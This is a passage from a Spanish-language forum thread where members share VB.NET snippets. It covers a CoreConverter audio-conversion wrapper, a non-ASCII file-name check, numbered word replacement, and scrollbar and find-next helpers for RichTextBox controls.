  175.  
  176.    Enum Lame_Bitrate_Mode
  177.        cbr
  178.        abr
  179.    End Enum
  180.  
  181.    Enum Lame_Profile
  182.        NORMAL
  183.        FAST
  184.        SLOW
  185.    End Enum
  186.  
  187.    Enum Lame_Quality
  188.        Q0_Maximum = 0
  189.        Q1 = 1
  190.        Q2 = 2
  191.        Q3 = 3
  192.        Q4 = 4
  193.        Q5 = 5
  194.        Q6 = 6
  195.        Q7 = 7
  196.        Q8 = 8
  197.        Q9_Minimum = 9
  198.    End Enum
  199.  
  200.    Enum Lame_Khz
  201.        Same_As_Source
  202.        khz_8000 = 8000
  203.        khz_11025 = 11025
  204.        khz_12000 = 12000
  205.        khz_16000 = 16000
  206.        khz_22050 = 22050
  207.        khz_24000 = 24000
  208.        khz_32000 = 32000
  209.        khz_44100 = 44100
  210.        khz_48000 = 48000
  211.    End Enum
  212.  
  213.    Enum Lame_Channels
  214.        auto
  215.        mono
  216.        stereo
  217.        joint_stereo
  218.        forced_joint_stereo
  219.        forced_stereo
  220.        dual_channels
  221.    End Enum
  222.  
  223.  
  224. #End Region
  225.  
  226. #Region " WAV Uncompressed "
  227.  
  228.    Enum WAV_Uncompressed_Bitrate
  229.        Same_As_Source
  230.        bits_8 = 8
  231.        bits_16 = 16
  232.        bits_24 = 24
  233.        bits_32 = 32
  234.    End Enum
  235.  
  236.    Enum WAV_Uncompressed_Khz
  237.        Same_As_Source
  238.        khz_8000 = 8000
  239.        khz_11025 = 11025
  240.        khz_12000 = 12000
  241.        khz_16000 = 16000
  242.        khz_22050 = 22050
  243.        khz_24000 = 24000
  244.        khz_32000 = 32000
  245.        khz_44100 = 44100
  246.        khz_48000 = 48000
  247.        khz_96000 = 96000
  248.        khz_192000 = 192000
  249.    End Enum
  250.  
  251.    Enum WAV_Uncompressed_Channels
  252.        Same_As_Source
  253.        Channels_1_Mono = 1
  254.        Channels_2_Stereo = 2
  255.        Channels_3 = 3
  256.        Channels_4_Quadraphonic = 4
  257.        Channels_5_Surround = 5
  258.        Channels_6_Surround_DVD = 6
  259.        Channels_7 = 7
  260.        Channels_8_Theater = 8
  261.    End Enum
  262.  
  263. #End Region
  264.  
  265. #Region " WMA 9.2 "
  266.  
  267.    Enum WMA_9_2_BitRates
  268.        Kbps_12 = 12
  269.        Kbps_16 = 16
  270.        Kbps_20 = 20
  271.        Kbps_22 = 22
  272.        Kbps_24 = 24
  273.        Kbps_32 = 32
  274.        Kbps_40 = 40
  275.        Kbps_48 = 48
  276.        Kbps_64 = 64
  277.        Kbps_80 = 80
  278.        Kbps_96 = 96
  279.        Kbps_128 = 128
  280.        Kbps_160 = 160
  281.        Kbps_192 = 192
  282.        Kbps_256 = 256
  283.        Kbps_320 = 320
  284.    End Enum
  285.  
  286.    Enum WMA_9_2_Khz
  287.        Khz_8000 = 8
  288.        Khz_16000 = 16
  289.        Khz_22050 = 22
  290.        Khz_32000 = 32
  291.        Khz_44100 = 44
  292.        Khz_48000 = 48
  293.    End Enum
  294.  
  295.    Enum WMA_9_2_Channels
  296.        mono
  297.        stereo
  298.    End Enum
  299.  
  300. #End Region
  301.  
  302. #End Region
  303.  
  304. #Region " Codec Procedures "
  305.  
  306. #Region " MP3 Lame "
  307.  
  308.    ' <summary>
  309.    ' Converts a file to MP3 using Lame codec.
  310.    ' </summary>
  311.    Public Shared Sub Convert_To_MP3(ByVal In_File As String, _
  312.                             ByVal Out_File As String, _
  313.                             ByVal Bitrate As Lame_Bitrate, _
  314.                             ByVal Bitrate_Mode As Lame_Bitrate_Mode, _
  315.                             ByVal Encoding_Profile As Lame_Profile, _
  316.                             ByVal Quality As Lame_Quality, _
  317.                             ByVal Khz As Lame_Khz, _
  318.                             ByVal Channels As Lame_Channels, _
  319.                             Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
  320.                             Optional ByVal Update_Tag As Boolean = True, _
  321.                             Optional ByVal Priority As Priority = Priority.normal, _
  322.                             Optional ByVal Processor As Short = 1)
  323.  
  324.        Get_Effects(DSP_Effects)
  325.  
  326.        Set_Main_Parametters("mp3 (Lame)", In_File, Out_File, If(Not Update_Tag, "-noidtag", ""), Effects, Priority.ToString, Processor.ToString)
  327.  
  328.        CoreConverter.StartInfo.Arguments &= _
  329.        String.Format("-b {0} --{1} -encoding=""{2}"" -freq=""{3}"" -channels=""{4}"" --noreplaygain --extracli=""-q {5}""", _
  330.                      CInt(Bitrate), _
  331.                      Bitrate_Mode.ToString, _
  332.                      Encoding_Profile.ToString, _
  333.                      If(Khz = Lame_Khz.Same_As_Source, "", CInt(Khz)), _
  334.                      If(Channels = Lame_Channels.auto, "", Channels), _
  335.                      CInt(Quality))
  336.  
  337.        Run_CoreConverter()
  338.  
  339.    End Sub
  340.  
  341. #End Region
  342.  
  343. #Region " WAV Uncompressed "
  344.  
  345.    ' <summary>
  346.    ' Converts a file to WAV
  347.    ' </summary>
  348.    Public Shared Sub Convert_To_WAV_Uncompressed(ByVal In_File As String, _
  349.                                 ByVal Out_File As String, _
  350.                                 ByVal Bitrate As WAV_Uncompressed_Bitrate, _
  351.                                 ByVal Khz As WAV_Uncompressed_Khz, _
  352.                                 ByVal Channels As WAV_Uncompressed_Channels, _
  353.                                 Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
  354.                                 Optional ByVal Update_Tag As Boolean = True, _
  355.                                 Optional ByVal Priority As Priority = Priority.normal, _
  356.                                 Optional ByVal Processor As Short = 1)
  357.  
  358.        Get_Effects(DSP_Effects)
  359.  
  360.        Set_Main_Parametters("Wave", In_File, Out_File, If(Not Update_Tag, "-noidtag", ""), Effects, Priority.ToString, Processor.ToString)
  361.  
  362.        CoreConverter.StartInfo.Arguments &= _
  363.        String.Format("-compression=""PCM"" -bits=""{0}"" -freq=""{1}"" -channels=""{2}""", _
  364.                      If(Bitrate = WAV_Uncompressed_Bitrate.Same_As_Source, "", CInt(Bitrate)), _
  365.                      If(Khz = WAV_Uncompressed_Khz.Same_As_Source, "", CInt(Khz)), _
  366.                      If(Channels = WAV_Uncompressed_Channels.Same_As_Source, "", CInt(Channels)))
  367.  
  368.        Run_CoreConverter()
  369.  
  370.    End Sub
  371.  
  372. #End Region
  373.  
  374. #Region " WMA 9.2 "
  375.  
  376.    ' <summary>
  377.    ' Converts a file to WMA 9.2
  378.    ' </summary>
  379.    Public Shared Sub Convert_To_WMA(ByVal In_File As String, _
  380.                                 ByVal Out_File As String, _
  381.                                 ByVal Bitrate As WMA_9_2_BitRates, _
  382.                                 ByVal Khz As WMA_9_2_Khz, _
  383.                                 ByVal Channels As WMA_9_2_Channels, _
  384.                                 Optional ByVal DSP_Effects() As DSP_Effects = Nothing, _
  385.                                 Optional ByVal Update_Tag As Boolean = True, _
  386.                                 Optional ByVal Priority As Priority = Priority.normal, _
  387.                                 Optional ByVal Processor As Short = 1)
  388.  
  389.        Get_Effects(DSP_Effects)
  390.  
  391.        Set_Main_Parametters("Windows Media Audio 10", In_File, Out_File, If(Not Update_Tag, "-noidtag", ""), Effects, Priority.ToString, Processor.ToString)
  392.  
  393.        CoreConverter.StartInfo.Arguments &= _
  394.        String.Format("-codec=""Windows Media Audio 9.2"" -settings=""{0} kbps, {1} kHz, {2} CBR""",
  395.                      CInt(Bitrate), _
  396.                      CInt(Khz), _
  397.                      Channels.ToString)
  398.  
  399.        Run_CoreConverter()
  400.  
  401.    End Sub
  402.  
  403. #End Region
  404.  
  405. #End Region
  406.  
  407. #Region " Run Converter Procedure "
  408.  
  409.    Private Shared Sub Run_CoreConverter()
  410.  
  411.        CoreConverter.StartInfo.FileName = CoreConverter_Location
  412.        CoreConverter.Start()
  413.  
  414.        While Not CoreConverter.HasExited
  415.  
  416.            OutputCharacter = ChrW(CoreConverter.StandardOutput.Read)
  417.  
  418.            If OutputCharacter = "*" Then
  419.                CurrentProgress += 1 ' Maximum value is 59, so a ProgressBar Maximum property value would be 59.
  420.                RaiseEvent PercentDone(CurrentProgress, Nothing)
  421.            End If
  422.  
  423.            If CurrentProgress = 59 Then
  424.                ' I store the last line(s) 'cause it has interesting information:
  425.                ' Example message: Conversion completed in 30 seconds x44 realtime encoding
  426.                StandardOutput = CoreConverter.StandardOutput.ReadToEnd.Trim
  427.            End If
  428.  
  429.        End While
  430.  
  431.        ' Stores the Error Message (If any)
  432.        ErrorOutput = CoreConverter.StandardError.ReadToEnd
  433.  
  434.        Select Case CoreConverter.ExitCode
  435.  
  436.            Case 0 : RaiseEvent Exited(StandardOutput, Nothing) ' Return StandardOutput
  437.            Case Else : RaiseEvent Exited(ErrorOutput, Nothing) ' Return ErrordOutput
  438.  
  439.        End Select
  440.  
  441.        CurrentProgress = Nothing
  442.        OutputCharacter = Nothing
  443.        StandardOutput = Nothing
  444.        ErrorOutput = Nothing
  445.        Effects = Nothing
  446.        CoreConverter.Close()
  447.  
  448.    End Sub
  449.  
  450. #End Region
  451.  
  452. #Region " Miscellaneous functions "
  453.  
  454.    ' <summary>
  455.    ' Checks if CoreConverter process is avaliable.
  456.    ' </summary>
  457.    Public Shared Function Is_Avaliable() As Boolean
  458.        Return IO.File.Exists(CoreConverter_Location)
  459.    End Function
  460.  
  461.    ' Set the constant parametters of CoreConverter process
  462.    Private Shared Sub Set_Main_Parametters(ByVal Codec_Name As String, _
  463.                                            ByVal In_File As String, _
  464.                                            ByVal Out_File As String, _
  465.                                            ByVal Update_Tag As String, _
  466.                                            ByVal Effects As String, _
  467.                                            ByVal Priority As String, _
  468.                                            ByVal Processor As String)
  469.  
  470.        CoreConverter.StartInfo.Arguments = _
  471.        String.Format("-infile=""{0}"" -outfile=""{1}"" -convert_to=""{2}"" {3} {4} -priority=""{5}"" -processor=""{6}"" ", _
  472.                      In_File, Out_File, Codec_Name, Update_Tag, Effects, Priority, Processor)
  473.  
  474.    End Sub
  475.  
  476.    ' Returns all joined DSP Effects formatted string
  477.    Private Shared Function Get_Effects(ByVal DSP_Effects() As DSP_Effects) As String
  478.  
  479.        If DSP_Effects Is Nothing Then Return Nothing
  480.  
  481.        For Effect As Integer = 0 To DSP_Effects.Length - 1
  482.            Effects &= String.Format(" -dspeffect{0}={1}", _
  483.                                     Effect + 1, _
  484.                                     Format_DSP_Effect(DSP_Effects(Effect).ToString))
  485.        Next Effect
  486.  
  487.        Return Effects
  488.  
  489.    End Function
  490.  
  491.    ' Returns a DSP Effect formatted string
  492.    Private Shared Function Format_DSP_Effect(ByVal Effect As String)
  493.  
  494.        Select Case Effect
  495.            Case "Reverse" : Return """Reverse"""
  496.            Case "Delete_Output_File_on_Error" : Return """Delete Destination File on Error="""
  497.            Case "Recycle_Source_File_After_Conversion" : Return """Delete Source File=-recycle"""
  498.            Case "Delete_Source_File_After_Conversion" : Return """Delete Source File="""
  499.            Case "Karaoke_Remove_Voice" : Return """Karaoke (Voice_ Instrument Removal)="""
  500.            Case "Karaoke_Remove_Instrument" : Return """Karaoke (Voice_ Instrument Removal)=-i"""
  501.            Case "Write_Silence" : Return """Write Silence=-lengthms={qt}2000{qt}""" ' 2 seconds
  502.            Case Else : Return String.Empty
  503.        End Select
  504.  
  505.    End Function
  506.  
  507. #End Region
  508.  
  509. #Region " Dispose Objects "
  510.  
  511.    Public Sub Dispose() Implements IDisposable.Dispose
  512.        ' CoreConverter_Location = Nothing ' Do not change if want to preserve a custom location.
  513.        OutputCharacter = Nothing
  514.        StandardOutput = Nothing
  515.        ErrorOutput = Nothing
  516.        CurrentProgress = Nothing
  517.        Effects = Nothing
  518.        CoreConverter.Close()
  519.        GC.SuppressFinalize(Me)
  520.    End Sub
  521.  
  522. #End Region
  523.  
  524. End Class
  525.  
  526. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 12 Octubre 2013, 01:04 am
Este snippet comprueba si un nombre de archivo contiene caracteres que no estén en la tabla ASCII (sin contar la tabla ASCII extendida)

Un ejemplo de uso sería, el que yo le doy:
yo dejo el PC descargando miles de archivos de música diariamente, muchos de los nombres de archivos descargados contienen caracteres rusos y otras mierd@s que luego me toca renombrar de forma manual porque no se pueden leer estos nomrbes de archivos por otros programas que uso.

PD: No contiene todos los caracteres de la tabla ASCII normal, recordemos que Windows no permite escribir ciertos caracteres ASCII en los nombres de archivo, asi que no es necesario añadir dichos caracteres la función, además le añadí el caracter "Ñ", y los caracteres de la tabla ASCII extendida yo los considero caracteres extraños, quizás el nombre de la función debería ser: "Filename Has Strange Characters? " :P.

Código:
#Region " Filename Has Non ASCII Characters "

    ' [ Filename Has Non ASCII Characters Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Filename_Has_Non_ASCII_Characters("ABC├│")) ' Result: True
    ' MsgBox(Filename_Has_Non_ASCII_Characters("ABCDE")) ' Result: False

    Private Function Filename_Has_Non_ASCII_Characters(ByVal [String] As String) As Boolean

        Dim Valid_Characters As String = ( _
            "abcdefghijklmnñopqrstuvwxyz" & _
            "ABCDEFGHIJKLMNÑOPQRSTUVWXYZ" & _
            "áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙçÇ" & _
            "@#~€!·$%&()=!'ºª+-_.,;{}[]" & _
            ":\" & _
            "0123456789" & _
            " " _
        )

        Return Not [String].ToCharArray() _
                   .All(Function(character) Valid_Characters.Contains(character))

        ' Valid_Characters = Nothing

    End Function

#End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Octubre 2013, 03:55 am
Este código reemplaza una palabra en un string, por una secuencia numérica:

Código
  1. #Region " Replace Word (Increment method) "
  2.  
  3.    ' [ Replace Word (Increment method) ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Replace_Word_By_Increment("Hello World!, Hello World!", "Hello", , 3)) ' Result: 001 World!, 002 World!
  9.  
  10.    Private Function Replace_Word_By_Increment(ByVal str As String, _
  11.                                               ByVal replace As String, _
  12.                                               Optional ByVal IgnoreCase As System.StringComparison = StringComparison.CurrentCulture, _
  13.                                               Optional ByVal DigitLength As Long = 0) As String
  14.  
  15.        Dim str_split() As String = str.Split
  16.        Dim replacement As String = Nothing
  17.        Dim IndexCount As Long = 0
  18.  
  19.        DigitLength = If(DigitLength = 0, replace.Length, DigitLength)
  20.  
  21.        For Item As Long = 0 To str_split.LongCount - 1
  22.  
  23.            If str_split(Item).Equals(replace, IgnoreCase) Then
  24.  
  25.                replacement &= Threading.Interlocked.Increment(IndexCount).ToString
  26.  
  27.                While Not replacement.Length >= DigitLength
  28.                    replacement = replacement.Insert(0, "0")
  29.                End While
  30.  
  31.                str_split(Item) = replacement
  32.                replacement = Nothing
  33.  
  34.            End If
  35.  
  36.        Next Item
  37.  
  38.        Return String.Join(Convert.ToChar(Keys.Space), str_split)
  39.  
  40.    End Function
  41.  
  42. #End Region


Este código reemplaza un patrón de búsqueda en un string, por una secuencia numérica:

Código
  1. #Region " Replace String (Increment method) "
  2.  
  3.    ' [ Replace String (Increment method) ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Replace_String_By_Increment("Hello World!, Hello World!", New System.Text.RegularExpressions.Regex("Hello\sWorld", RegexOptions.IgnoreCase), 3)) ' Result: 001!, 002!
  9.  
  10.    Private Function Replace_String_By_Increment(ByVal str As String, _
  11.                                                 ByVal replace As System.Text.RegularExpressions.Regex, _
  12.                                                 Optional ByVal DigitLength As Long = 0) As String
  13.  
  14.        DigitLength = If(DigitLength = 0, replace.ToString.Length, DigitLength)
  15.  
  16.        Dim IndexCount As Integer = 0
  17.        Dim replacement As String = Nothing
  18.        Dim matches As System.Text.RegularExpressions.MatchCollection = replace.Matches(str)
  19.  
  20.        For Each match As System.Text.RegularExpressions.Match In matches
  21.  
  22.            replacement &= Threading.Interlocked.Increment(IndexCount).ToString
  23.  
  24.            While Not replacement.Length >= DigitLength
  25.                replacement = replacement.Insert(0, "0")
  26.            End While
  27.  
  28.            str = replace.Replace(str, replacement, 1, match.Index - (match.Length * (IndexCount - 1)))
  29.            replacement = Nothing
  30.  
  31.        Next
  32.  
  33.        matches = Nothing
  34.        replacement = Nothing
  35.        IndexCount = 0
  36.        Return str
  37.  
  38.    End Function
  39.  
  40. #End Region

EDITO:

Un sencillo proyecto para testear:

(http://img266.imageshack.us/img266/8580/9uao.png)   (http://img30.imageshack.us/img30/6329/ltaq.png)

Descarga: http://www.mediafire.com/?6b6qdy9iyigm63v


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Octubre 2013, 11:51 am
He descubierto este mensaje de Windows para mover el ScrollBar de un control pudiendo especificar la cantidad de lineas a mover, y la dirección.

Código
  1.    <System.Runtime.InteropServices.DllImport("user32.dll")> _
  2.    Private Shared Function SendMessage(hWnd As IntPtr, wMsg As UInteger, wParam As UIntPtr, lParam As IntPtr) As Integer
  3.    End Function
  4.  
  5.    ' Examples:
  6.    '
  7.    ' SendMessage(RichTextBox1.Handle, &HB6, 0, 1)  ' Move 1 line to down
  8.    ' SendMessage(RichTextBox1.Handle, &HB6, 0, 5)  ' Move 5 lines to down
  9.    ' SendMessage(RichTextBox1.Handle, &HB6, 0, -1) ' Move 1 line to up
  10.    ' SendMessage(RichTextBox1.Handle, &HB6, 0, -5) ' Move 5 lines to up


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Octubre 2013, 14:50 pm
Con estas funciones podemos acceder a la información de la ScrollBar integrada de un control (la scrollbar vertical de un RichTextBox por ejemplo), para averiguar si la barra está scrolleada hacia abajo del todo, o hacia arriba del todo, o si ha sobrepasado el límite de abajo/arriba (aunque esto último creo que no pede suceder, pero bueno).

Esto es útil para prevenir el molesto efecto de "rebote" del método ScrollToCaret cuando intentamos scrollear la ScrollBar de un richtextbox cuando ha llegado al límite.

Ejemplo de uso:
Código
  1.        RichTextBox1.Select(RichTextBox1.TextLength - 1, 1)
  2.        If Not ScrollBarInfo.IsAtBottom(RichTextBox1) Then
  3.            RichTextBox1.ScrollToCaret()
  4.        End If


Código
  1. Public Class ScrollBarInfo
  2.  
  3.    <System.Runtime.InteropServices.DllImport("user32")> _
  4.    Private Shared Function GetScrollInfo(hwnd As IntPtr, nBar As Integer, ByRef scrollInfo As SCROLLINFO) As Integer
  5.    End Function
  6.  
  7.    Private Shared scrollInf As New SCROLLINFO()
  8.  
  9.    Private Structure SCROLLINFO
  10.        Public cbSize As Integer
  11.        Public fMask As Integer
  12.        Public min As Integer
  13.        Public max As Integer
  14.        Public nPage As Integer
  15.        Public nPos As Integer
  16.        Public nTrackPos As Integer
  17.    End Structure
  18.  
  19.    Private Shared Sub Get_ScrollInfo(control As Control)
  20.        scrollInf = New SCROLLINFO()
  21.        scrollInf.cbSize = System.Runtime.InteropServices.Marshal.SizeOf(scrollInf)
  22.        scrollInf.fMask = &H10 Or &H1 Or &H2 'SIF_RANGE = &H1, SIF_PAGE= &H2, SIF_TRACKPOS = &H10
  23.        GetScrollInfo(control.Handle, 1, scrollInf)
  24.    End Sub
  25.  
  26.    Public Shared Function ReachedBottom(control As Control) As Boolean
  27.        Get_ScrollInfo(control)
  28.        Return scrollInf.max = scrollInf.nTrackPos + scrollInf.nPage
  29.    End Function
  30.  
  31.    Public Shared Function ReachedTop(control As Control) As Boolean
  32.        Get_ScrollInfo(control)
  33.        Return scrollInf.nTrackPos < 0
  34.    End Function
  35.  
  36.    Public Shared Function IsAtBottom(control As Control) As Boolean
  37.        Get_ScrollInfo(control)
  38.        Return scrollInf.max = (scrollInf.nTrackPos + scrollInf.nPage) - 1
  39.    End Function
  40.  
  41.    Public Shared Function IsAtTop(control As Control) As Boolean
  42.        Get_ScrollInfo(control)
  43.        Return scrollInf.nTrackPos = 0
  44.    End Function
  45.  
  46. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: MauriH en 13 Octubre 2013, 21:27 pm
Este código reemplaza una palabra en un string, por una secuencia numérica:

Código
  1. #Region " Replace Word (Increment method) "
  2.  
  3.    ' [ Replace Word (Increment method) ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Replace_Word_By_Increment("Hello World!, Hello World!", "Hello", , 3)) ' Result: 001 World!, 002 World!
  9.  
  10.    Private Function Replace_Word_By_Increment(ByVal str As String, _
  11.                                               ByVal replace As String, _
  12.                                               Optional ByVal IgnoreCase As System.StringComparison = StringComparison.CurrentCulture, _
  13.                                               Optional ByVal DigitLength As Long = 0) As String
  14.  
  15.        Dim str_split() As String = str.Split
  16.        Dim replacement As String = Nothing
  17.        Dim IndexCount As Long = 0
  18.  
  19.        DigitLength = If(DigitLength = 0, replace.Length, DigitLength)
  20.  
  21.        For Item As Long = 0 To str_split.LongCount - 1
  22.  
  23.            If str_split(Item).Equals(replace, IgnoreCase) Then
  24.  
  25.                replacement &= Threading.Interlocked.Increment(IndexCount).ToString
  26.  
  27.                While Not replacement.Length >= DigitLength
  28.                    replacement = replacement.Insert(0, "0")
  29.                End While
  30.  
  31.                str_split(Item) = replacement
  32.                replacement = Nothing
  33.  
  34.            End If
  35.  
  36.        Next Item
  37.  
  38.        Return String.Join(Convert.ToChar(Keys.Space), str_split)
  39.  
  40.    End Function
  41.  
  42. #End Region


Este código reemplaza un patrón de búsqueda en un string, por una secuencia numérica:

Código
  1. #Region " Replace String (Increment method) "
  2.  
  3.    ' [ Replace String (Increment method) ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Replace_String_By_Increment("Hello World!, Hello World!", New System.Text.RegularExpressions.Regex("Hello\sWorld", RegexOptions.IgnoreCase), 3)) ' Result: 001!, 002!
  9.  
  10.    Private Function Replace_String_By_Increment(ByVal str As String, _
  11.                                                 ByVal replace As System.Text.RegularExpressions.Regex, _
  12.                                                 Optional ByVal DigitLength As Long = 0) As String
  13.  
  14.        DigitLength = If(DigitLength = 0, replace.ToString.Length, DigitLength)
  15.  
  16.        Dim IndexCount As Integer = 0
  17.        Dim replacement As String = Nothing
  18.        Dim matches As System.Text.RegularExpressions.MatchCollection = replace.Matches(str)
  19.  
  20.        For Each match As System.Text.RegularExpressions.Match In matches
  21.  
  22.            replacement &= Threading.Interlocked.Increment(IndexCount).ToString
  23.  
  24.            While Not replacement.Length >= DigitLength
  25.                replacement = replacement.Insert(0, "0")
  26.            End While
  27.  
  28.            str = replace.Replace(str, replacement, 1, match.Index - (match.Length * (IndexCount - 1)))
  29.            replacement = Nothing
  30.  
  31.        Next
  32.  
  33.        matches = Nothing
  34.        replacement = Nothing
  35.        IndexCount = 0
  36.        Return str
  37.  
  38.    End Function
  39.  
  40. #End Region

Disculpen la ignorancia, apenas conozco algo de batch, este codigo me interesa, pero la verdad es q no sé como utilizarlo, q se supone q debo hacer con el codigo? lo copie a un archivo de texto y le puse la extension .vbs, hice bien? crei q funcionaría como un batch, lo ejecuté y me salio error de compilación o algo así, por favor q alguien me ayude  :-\


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 14 Octubre 2013, 00:02 am
Estamos en el subforo de .NET, es VB.NET :¬¬

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Octubre 2013, 04:37 am
@MauriH

Vuelve a leer este post hasta el final: http://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1891125#msg1891125

He subido un proyecto de prueba a Mediafire.

Saludos


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 14 Octubre 2013, 07:14 am
Añadir la funcionalidad 'Find Next' y 'Find Previous' en un RichTextBox,
Le añadi soporte para poder utilizar expresiones regulares y también para poder resaltar el text seleccionado en colores :).

mWRMdlC5DH8

Código
  1. #Region " [RichTextBox] FindNext "
  2.  
  3.    ' [ FindNext ]
  4.    '
  5.    ' //By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' RichTextBox1.Text = "Hello World!, Hello World!, Hello World!"
  10.    '
  11.    ' FindNext(RichTextBox1, "hello", FindDirection.Down, RegexOptions.IgnoreCase, Color.LightBlue, Color.Black)
  12.    ' FindNext(RichTextBox1, "hello", FindDirection.Up, RegexOptions.IgnoreCase, Color.Red, Color.Black)
  13.    '
  14.    ' Private Sub RichTextBox_Enter(sender As Object, e As EventArgs) ' Handles RichTextBox1.Enter
  15.    '    ' Restore Selection Colors before search next match.
  16.    '    sender.SelectionBackColor = DefaultBackColor
  17.    '    sender.SelectionColor = DefaultForeColor
  18.    ' End Sub
  19.  
  20.    Public Enum FindDirection
  21.        Up = 0
  22.        Down = 1
  23.    End Enum
  24.  
  25.    ' FindNext
  26.    Private Sub FindNext(ByVal [Control] As RichTextBox, _
  27.                               ByVal SearchText As String, _
  28.                               ByVal Direction As FindDirection, _
  29.                               Optional ByVal IgnoreCase As System.Text.RegularExpressions.RegexOptions = RegexOptions.None, _
  30.                               Optional ByVal Highlight_BackColor As Color = Nothing, _
  31.                               Optional ByVal Highlight_ForeColor As Color = Nothing)
  32.  
  33.        If [Control].TextLength = 0 Then Exit Sub
  34.  
  35.        ' Start searching at 'SelectionStart'.
  36.        Dim Search_StartIndex As Integer = [Control].SelectionStart
  37.  
  38.        ' Stores the MatchIndex count
  39.        Dim matchIndex As Integer = 0
  40.  
  41.        ' Flag to check if it's first find call
  42.        Static First_Find As Boolean = True
  43.  
  44.        ' Checks to don't ommit the selection of first match if match index is exactly at 0 start point.
  45.        If First_Find _
  46.            AndAlso Search_StartIndex = 0 _
  47.            AndAlso Direction = FindDirection.Down Then
  48.            Search_StartIndex = -1
  49.            First_Find = False
  50.        ElseIf Not First_Find _
  51.            AndAlso Search_StartIndex = 0 _
  52.            AndAlso Direction = FindDirection.Down Then
  53.            First_Find = False
  54.            Search_StartIndex = 0
  55.        End If
  56.  
  57.        ' Store the matches
  58.        Dim matches As System.Text.RegularExpressions.MatchCollection = _
  59.            System.Text.RegularExpressions.Regex.Matches([Control].Text, _
  60.                                                         SearchText, _
  61.                                                         IgnoreCase Or If(Direction = FindDirection.Up, _
  62.                                                                          RegexOptions.RightToLeft, _
  63.                                                                          RegexOptions.None))
  64.  
  65.        If matches.Count = 0 Then First_Find = True : Exit Sub
  66.  
  67.        ' Restore Highlight colors of previous selection
  68.        [Control].SelectionBackColor = [Control].BackColor
  69.        [Control].SelectionColor = [Control].ForeColor
  70.  
  71.        ' Set next selection Highlight colors
  72.        If Highlight_BackColor = Nothing Then Highlight_BackColor = [Control].BackColor
  73.        If Highlight_ForeColor = Nothing Then Highlight_ForeColor = [Control].ForeColor
  74.  
  75.        ' Set the match selection
  76.        For Each match As System.Text.RegularExpressions.Match In matches
  77.  
  78.            matchIndex += 1
  79.  
  80.            Select Case Direction
  81.  
  82.                Case FindDirection.Down
  83.                    If match.Index > Search_StartIndex Then ' Select next match
  84.                        [Control].Select(match.Index, match.Length)
  85.                        Exit For
  86.                    ElseIf match.Index <= Search_StartIndex _
  87.                    AndAlso matchIndex = matches.Count Then ' Select first match
  88.                        [Control].Select(matches.Item(0).Index, matches.Item(0).Length)
  89.                        Exit For
  90.                    End If
  91.  
  92.                Case FindDirection.Up
  93.                    If match.Index < Search_StartIndex Then ' Select previous match
  94.                        [Control].Select(match.Index, match.Length)
  95.                        Exit For
  96.                    ElseIf match.Index >= Search_StartIndex _
  97.                    AndAlso matchIndex = matches.Count Then ' Select last match
  98.                        [Control].Select(matches.Item(0).Index, matches.Item(0).Length)
  99.                        Exit For
  100.                    End If
  101.  
  102.            End Select
  103.  
  104.        Next match
  105.  
  106.        ' Set the current selection BackColor
  107.        [Control].SelectionBackColor = Highlight_BackColor
  108.        ' Set the current selection ForeColor
  109.        [Control].SelectionColor = Highlight_ForeColor
  110.        ' Scroll to Caret/Cursor selection position
  111.        [Control].ScrollToCaret()
  112.  
  113.    End Sub
  114.  
  115. #End Region


EDITO:

Aquí dejo una versión alternativa, no soporta RegEx y no soporta búsqueda hacia arriba,
el código no es peor, símplemente si no se requiere el uso de búsqueda por RegEx ni buscar hacia arriba entonces es preferible usar este snippet.

Código
  1. #Region " [RichTextBox] FindNext String "
  2.  
  3.    ' [ FindNext String ]
  4.    '
  5.    ' //By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' FindNext(RichTextBox1, "Hello", RichTextBoxFinds.MatchCase, Color.LightBlue, Color.Black)
  10.    '
  11.    ' Private Sub RichTextBox_Enter(sender As Object, e As EventArgs) ' Handles RichTextBox1.Enter
  12.    '    ' Restore Selection Colors before search next match.
  13.    '    sender.SelectionBackColor = DefaultBackColor
  14.    '    sender.SelectionColor = DefaultForeColor
  15.    ' End Sub
  16.  
  17.    ' FindNext
  18.    Private Sub FindNext(ByVal [Control] As RichTextBox, _
  19.                        ByVal SearchText As String, _
  20.                        ByVal IgnoreCase As RichTextBoxFinds, _
  21.                        Optional ByVal Highlight_BackColor As Color = Nothing, _
  22.                        Optional ByVal Highlight_ForeColor As Color = Nothing)
  23.  
  24.        ' Start searching at 'SelectionStart'.
  25.        Dim Search_StartIndex As Integer = [Control].SelectionStart
  26.        Static Next_Count As Integer = 0
  27.  
  28.        ' Restore Highlight colors of previous selection
  29.        [Control].SelectionBackColor = [Control].BackColor
  30.        [Control].SelectionColor = [Control].ForeColor
  31.  
  32.        ' Set next selection Highlight colors
  33.        If Highlight_BackColor = Nothing Then Highlight_BackColor = [Control].BackColor
  34.        If Highlight_ForeColor = Nothing Then Highlight_ForeColor = [Control].ForeColor
  35.  
  36.        ' If is not first FindNext call then...
  37.        If Next_Count <> 0 Then
  38.            Search_StartIndex += SearchText.Length
